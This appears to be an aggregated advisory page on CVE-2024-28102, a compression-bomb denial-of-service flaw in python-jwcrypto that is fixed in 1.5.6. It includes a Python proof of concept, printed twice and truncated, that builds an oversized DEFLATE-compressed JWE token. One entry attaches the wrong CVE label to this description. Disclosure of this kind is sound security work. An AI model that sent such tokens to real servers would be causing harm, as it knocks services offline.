Affected: AlmaLinux:9: python3-jwcrypto

The python-jwcrypto package provides Python implementations of the JSON Web Key (JWK), JSON Web Signature (JWS), JSON Web Encryption (JWE), and JSON Web Token (JWT) JOSE (JSON Object Signing and Encryption) standards.

Security Fix(es):

* python-jwcrypto: malicious JWE token can cause denial of service (CVE-2024-28102)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.

Affected: PyPI: jwcrypto

## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public()))

payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(com…

Affected: openEuler:22.03-LTS-SP1: python-jwcrypto

Implements JWK, JWS, JWE specifications with python-cryptography Security Fix(es): VUL-0: CVE-2022-3102: python-jwcrypto: jwcrypto token substitution can lead to authentication bypass(CVE-2022-3102) JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.(CVE-2024-28102)

python310-jwcrypto-1.5.6-2.1 on GA media

Affected: PyPI: jwcrypto

## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public()))

payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(com…

JWCrypto: denail of service Via specifically crafted JWE python-jwcrypto: malicious JWE token can cause denial of service

Affected: Ubuntu:16.04:LTS: python-jwcrypto, Ubuntu:18.04:LTS: python-jwcrypto, Ubuntu:20.04:LTS: python-jwcrypto, Ubuntu:22.04:LTS: python-jwcrypto, Ubuntu:24.04:LTS: python-jwcrypto, Ubuntu:25.10: python-jwcrypto, Ubuntu:26.04:LTS: python-jwcrypto

JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.

Ein Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um einen Denial-of-Service-Zustand herbeizuführen, beliebigen Code auszuführen, vertrauliche Informationen offenzulegen, Dateien zu manipulieren, Cross-Site Scripting (XSS)-Angriffe durchzuführen oder einen Men-in-the-Middle-Angriff auszuführen.